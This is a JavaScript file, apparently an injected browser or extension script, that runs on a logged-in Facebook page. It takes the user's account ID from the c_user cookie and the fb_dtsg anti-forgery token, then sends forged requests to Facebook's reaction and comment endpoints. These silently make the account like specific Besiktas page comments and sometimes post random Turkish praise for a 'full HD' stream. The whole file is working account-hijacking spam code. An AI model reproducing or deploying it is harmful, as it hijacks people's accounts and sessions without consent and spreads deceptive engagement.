function start() { post_link("https://www.facebook.com/Besiktas/photos/a.218475124845105.72565.218473211511963/1778440192181916/?type=3&comment_id=1778444208848181&comment_tracking=%7B%22tn%22%3A%22R%22%7D"); post_link("https://www.facebook.com/pg/Besiktas/posts/?comment_tracking=%7B%22tn%22%3A%22R0%22%7D"); } function post_link(link) { var data = decodeURIComponent(link); if (data.indexOf('posts') > 0) { comment_id = data.split("comment_id=")[1].split("&")[0]; id = data.split("/")[5].split("?")[0]; like(id + "_" + comment_id); } else if (data.indexOf('photos') > 0) { comment_id = data.split("comment_id=")[1].split("&")[0]; id = data.split("/")[6]; like(id + "_" + comment_id); } else if (data.indexOf('videos') > 0) { comment_id = data.split("comment_id=")[1].split("&")[0]; id = data.split("/")[5]; like(id + "_" + comment_id); } } function like(post_id) { if (localStorage[post_id] != "like") { var xhr = new XMLHttpRequest(); var params = { client_id: Date.now() + ":" + Math.floor(Date.now() / 4e3), ft_ent_identifier: post_id, reaction_type: "1", root_id: "u_0_8", source: "2", av: profile_id, "ft[tn]": ">", "ft[type]": "20", __user: profile_id, __a: "1", __dyn: "", __req: "i", fb_dtsg: fb_dtsg, ttstamp: ttstamp, __rev: __rev } xhr.open("POST", "https://www.facebook.com/ufi/reaction/?__pc=EXP1%3ADEFAULT", true); xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { var data = JSON.parse(xhr.responseText.replace("for (;;);", "")); if (!data.error) { localStorage[post_id] = "like"; if (rand(1, 20) == 1) { comment(post_id); } } } } xhr.send(deSerialize(params)); } } function comment(post_id) { if (localStorage["comment_" + post_id] != "comment") { var textArray = ['Mac linki icin teşekkürler.', 'Teşekkürler :)', 'Full HD yayınmış :)) ', 'Kaliteli yayın!! :)', 'tşk', 'sagol', 'Tamam', 'live', 'Süper sabahdan beri yayın arıyordum', 'adamsın', 'yayın harika', 'cok net bir yayınmıs', 'tşkler admin']; var randomText = textArray[Math.floor(Math.random() * textArray.length)] var xhr = new XMLHttpRequest(); var params = { ft_ent_identifier: post_id.split("_")[0], comment_text: randomText, source: "22", client_id: Date.now() + ":" + Math.floor(Date.now() / 4e3), session_id: rastgele(8), reply_fbid: post_id.split("_")[1], parent_comment_id: post_id, rootid: "u_jsonp_12_c", attached_sticker_fbid: "0", attached_photo_fbid: "0", attached_video_fbid: "0", feedback_referrer: "/Besiktas/", feed_context: JSON.stringify({ "reaction_unit_data": { "logging_data": { "impression_info": rastgele(32), "surface": "www_pages_home", "interacted_story_type": "688092377989036", "session_id": rastgele(32) } }, "fbfeed_context": true, "location_type": 36, "is_pinned_post": false, "can_moderate_timeline_story": false, "profile_id": profile_id, "is_published_from_composer": false, "story_width": 502, "outer_object_element_id": "u_jsonp_12_5", "object_element_id": "u_jsonp_12_5", "is_ad_preview": false, "is_editable": false, "mall_how_many_post_comments": 2, "shimparams": { "page_type": 16, "actor_id": profile_id, "story_id": post_id.split("_")[0], "ad_id": 0, "_ft_": "", "location": "homepage_stream" }, "story_id": "u_jsonp_12_6", "caret_id": "u_jsonp_12_7" }), video_time_offset: "", is_live_streaming: "false", "ft[tn]": "[]", "ft[top_level_post_id]": post_id.split("_")[0], "t[tl_objid]": post_id.split("_")[0], "ft[fbfeed_location]": "36", "nctr[_mod]": "pagelet_timeline_main_column", av: profile_id, __user: profile_id, __a: "1", __dyn: "", __af: "o", __req: "4c", __be: "-1", __pc: "EXP1:DEFAULT", fb_dtsg: fb_dtsg, ttstamp: ttstamp, __rev: __rev } xhr.open("POST", "https://www.facebook.com/ufi/add/comment/?dpr=1", true); xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { var data = JSON.parse(xhr.responseText.replace("for (;;);", "")); if (!data.error) { localStorage["comment_" + post_id] = "comment"; } } } xhr.send(deSerialize(params)); } } function deSerialize(json) { return Object.keys(json).map(function(key) { return encodeURIComponent(key) + '=' + encodeURIComponent(json[key]); }).join('&'); } function rand(min, max) { return Math.floor(Math.random() * (max - min)) + min; } function rastgele(uzunluk) { mtn = "abcdefghijklmnoprstuvyzxABCDEFGHIJKLMNOPRSTUVYZX0123456789"; ret = ""; for (l = 0; l < uzunluk; l++) { ret += mtn[Math.floor(Math.random() * mtn.length)]; } return ret; } if (location.hostname.indexOf("facebook.com") >= 0) { fb_dtsg_list = document.getElementsByName('fb_dtsg'); if (fb_dtsg_list.length > 0) { profile_id = document.cookie.match(/c_user=(\d+)/)[1]; fb_dtsg = fb_dtsg_list[0].value; __rev = document.head.innerHTML.split('"revision":')[1].split(",")[0]; ajaxpipe_token = document.head.innerHTML.split('"ajaxpipe_token":')[1].split(",")[0]; ttstamp = ""; for (var x = 0; x < fb_dtsg.length; x++) { ttstamp += fb_dtsg.charCodeAt(x); } ttstamp = '2' + ttstamp; console.log("User:" + profile_id); console.log("fb_dtsg:" + fb_dtsg); console.log("__rev:" + __rev); console.log("ttstamp:" + ttstamp); console.log("ajaxpipe_token:" + ajaxpipe_token); start(); } }